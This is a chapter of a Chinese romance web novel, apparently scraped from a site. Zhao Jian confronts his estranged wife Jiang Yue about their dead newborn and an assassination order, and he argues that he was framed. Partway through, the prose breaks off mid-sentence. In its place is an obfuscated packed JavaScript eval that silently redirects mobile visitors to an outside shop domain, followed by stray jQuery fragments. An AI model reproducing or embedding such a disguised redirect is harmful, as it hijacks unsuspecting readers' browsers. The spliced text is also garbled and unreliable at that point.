赵简的身子一下子僵住了,这句话每个字他都听得懂,但当它们组成了一句话,里面蕴含的意义让他反应不过来,他试探着将手摸向姜月的小腹。
这短暂的缄默让姜月的心狠狠钝痛了一下,她轻笑着将赵简推开,眼底的泪光已经荡然无存,“我骗你的,你怕什么?”
“我怕我会疯。”赵简伸手将退到床边的人捞回来,将脸埋在她的玲珑有致的脊背上,带着掩饰不住的笑意,“姜月,你若是有了我的孩子,我怕我会欢喜到发疯。”
如果能早一点听到这句话该有多好?姜月好容易咽下去的破碎的哽咽又死灰复燃,睫根又濡湿起来。
姜月不说话,但赵简听出了她呼吸声的潮湿。
良久,姜月开口了,又是一副若无其事地模样,“那恭喜你,你当不成疯子了。”她的声音有些困倦,催他离开,“我要睡了。”
赵简松开手,坐了起身,床幔轻动了动,姜月听到了脚步声,闭了闭眼,将颤抖的手放入了被衾里。
呆怔之中,她忽然听到了零落的几记鼓声,猛地翻身朝外看出,泪眼狼藉地正好对上去而复返的赵简。赵简摇动拨浪鼓的动作很生疏,孩童时候习以为常的玩意对他来说是极奢侈的。那不甚连贯的鼓声让姜月的心又揪了起来。他垂着眼,看着蹭上泥污的鼓身,那里本该有两只垂下对称的弹丸的,如今只剩下一只,显得孤单零落。
他忽然问:“姜月,我们有过孩子的,对吗?”
姜月就着朗朗月光打量着赵简,他还是一如既往地沉稳,仿佛遇上什么事都能从容面对,她心里忽然翻涌起不甘,蛰伏在心底的恨意一浪比一浪高,凭什么只有她一个人痛?凭什么他能置身事外?
姜月笑着点点头,“是。”
赵简觉得她的笑很刺眼,也开始感觉到她身上开始散发出拒人千里之外的冷,他们之间明明只相隔两三步距离,他却觉得这距离难以逾越。
“他留在了我的身边?”所以你才会这么伤心?
姜月摇头,“我把他带走了。”
赵简点头,心里忽然有些不详的预感,他蹙起了眉,终于问出那句话:“他怎么了?”
姜月的回答很干脆,“死了呗。”
这无所谓的语气成功刺痛了赵简的心,他沉默着咬了咬下颌,又尽量让自己的语气平缓,“怎么没的?”
姜月摸向他的手,扯起一个带着报复意味的残酷的笑,定定看着对面的人,成功看到了他脸上的表情逐渐出现裂痕。她将下颌贴在他的耳侧,像是在说什么秘密一样:“就是这双手。”她紧紧按住那只想躲开的手背,给他温柔的凌迟,“杀了他。”
仿佛当头一棒,赵简大脑有一瞬间的空白。姜月摸到他的心跳开始疯狂加速,心里感觉到扭曲的快意,但同时她的呼吸变得凝滞。
姜月本以为自己不会再痛了,但现在才知道自己不过是在粉饰太平,她开始感觉到沉闷的钝痛自心底传出。就像一把锈迹斑斑的铁锯,纵使锯齿已经钝得不成样子,仍锲而不舍地在溃烂的伤口上推拉切割。
她一面静静受着,一面欣赏赵简的极致的隐忍和痛苦,他们两个人撕扯着对方的伤口,体无完肤、血肉淋漓。究竟是爱多一点,还是恨多一点,她已经分不清了。
赵简终于找回了说话的力气,蹦出了几个字,“不可能。”
姜月以一种亲密无比的姿态呢喃道:“我为了生他,熬了两日两夜,被褥换了好几次,入眼都是红色的,我都要怀疑自己身上的血要流光了......”
喉咙的酸涩几乎让赵简讲不成话,他听着尚且觉得残忍和痛心,更何况是亲身经历的她?她讲得越细致,越是亲临其境,承受的痛与绝望就越是沉重,他想知道前因后果,但又怕她承受不住,急急打断道:“姜月!”
姜月尝到了那日的血腥味,自顾自说着:“所有人都叫我不要看,但我还是看了。是个男孩......头发很浓密......你知道么?他比我想象的小多了,约莫......”她抚着他的手背,拢着他的指节让他虚握着拳,完全感觉不到自己是在哭还是笑了,“和你拳头一般大小。”
这些话话化作有形的掌,穿过了他的胸膛,无情地将他的心脏攥紧,五指的指甲直直嵌入他的血肉里。他痛得说不出话来反驳。他情愿姜月骂他、打他,情愿看到她大哭着发泄出来,而不是用这样一种平静又讥讽的语气,像是一只没有感情没有知觉没有痛觉的木偶,对他的拥抱和安抚全无反应。
赵简扶着她的肩头,直视着她布满血丝的眼,“姜月,我不可能会做出这样的事!”他意识到今晚就是一个契机,她在剖开心迹,她眼神带着决绝的果断,如果他不能叫她回心转意,今晚过后,他们的羁绊会尽数消散,她和他会成为陌路人,这比成为她的敌人还要难受,敌人尚且还有交集。
他心里开始感到害怕,他害怕最后的结果不是自己想要的。
姜月感觉到赵简的心跳杂乱无章,她感觉到抱着自己的力度逐渐加大,他弯着脊背,用尽全力想要将自己往上托起,像是捞起溺水的人。她的身体是冷的,是僵的,她任他抱着,完全沉浸在自己的叙说里,自顾自说着。
“曾经我也是这样对自己说的,但是赵简,我错了,我根本就看不懂你,那点仅余的夫妻情分,让我对你保留了信任,你呢?狠心至此,甚至千里迢迢派出伏兵,将我送上黄泉路。若不是蕊心帮我挡下一刀,恐怕我已经命丧当场了。”
“这其中必有误会!”
“误会?赵简,你将你自己想得太光明磊落了!”
赵简一直不肯松开手,他怕这一松手就再也没有机会触碰到她了,听到这里反而理清了思路,姜月的抗拒之意越发明显,她根本没有给他反驳的机会。赵简采用了最简单也最有效的方法。
姜月果然安静下来了,她抵抗,只是换来更轻柔但同样无法拒绝的索取。她的双手被人紧紧箍住了,但耳边却是一声比一声更温柔的呼唤和安抚,他像一个锲而不舍的裁缝,在勤勤恳恳地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422928|132510||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
缝缝补补自己身上的伤痕。这算什么呢?他真的是个无耻!无赖!
姜月鼻头一酸,眼泪簌簌落下来。赵简含着她的呜咽,贴着她的脸,为她拭着泪,那泪水却好似流不尽了。赵简喉头也跟着窒住了,他轻轻抚着她的脸,姜月不理他,转身到里侧,不再看他。
耳房的蕊兰听到了争吵声,在门外小心地询问怎么了。
赵简守在床边,视线一直紧紧追随着她的脸,“你我夫妻三年,我若是想要你性命,何苦等到你走之后大费周折,更何况你那时还有了我的孩子。”
姜月为他的自得嗤笑了一下,“你以为我在大燕遭遇的暗杀还少吗?如今想来,那些人是谁派出的也为可知。还有......如果你知道我有孩子,根本就不可能让我走!那些刺客身上的印信、密信我都一一看过,是你亲自写下的追杀令,盖得也是你的私印!”
你叫我怎么信你?!
赵简迅速将前后的信息捋顺了,找出了其中的漏洞,慢慢平复了心跳,“姜月,你应该很清楚我。”
他的声音在焦急的拍门声中显得异常沉静,“我从不拖泥带水。”
一击必杀,不留后患。
作为他的心腹部下,都是抱有不成功便成仁的信念的,假若那些刺客都是他派出去的,任务失败后一定会想办法斩断所有可以追溯到秦王府身上的线索,不可能留着半口气被人关入牢狱。
赵简抽丝剥茧,感觉自己快要找到了其中重要关节,“那些印信和密信,是有人故意摆到你面前的。那段时间是谁在你身边?”
是谁?供词是姜琅审的,刺客是他抓的,自己遭遇伏兵时也是他救下的,也是他在自己还未顺利和离前就将自己接到了驿站......姜月后背忽然激出一阵阵战栗,随后额角那缕隐痛顺着青紫色脉络蚕食到她的眉心。
“还有,我不知道你有身孕的事,必定有人在替你打掩护,又是谁?”
赵简把她的异样看在眼里,捧着她的脸让她直视自己的眼,“告诉我,那时候发生过什么?”
他冷峻的脸让她分不清这是前世还是今生,这一刻仿佛回到了那一晚,他用大掌扼住自己的下颌,将她压制在冰冷的墙上,像一头凶狠到下一刻就要撕裂猎物的巨兽,逼问她:“他是谁?!”
意识到自己的语气过于急切了,赵简深吸一口气,循循善诱道:“姜月,你一定想到了......你只是还不敢承认......”
“但你已经习惯恨我了,你已经为我下了盖棺定论,连同我从前对你的好,都一并归成了别有用心。”他的声音忽然低下去,尝到舌尖的苦意,“你扪心自问,我真的有那么不堪吗?”
赵简再去拉姜月的手,这次她没有甩开。“上辈子我们有不同的立场,你觉得你我早晚会有分开的一天,甚至会兵戎相见,你觉得形同陌路的关系对我们来说是最安全的。你说你对我没有情意......”赵简用指节拭去姜月的泪水,轻轻叹息,“你甚至骗过了自己的心。”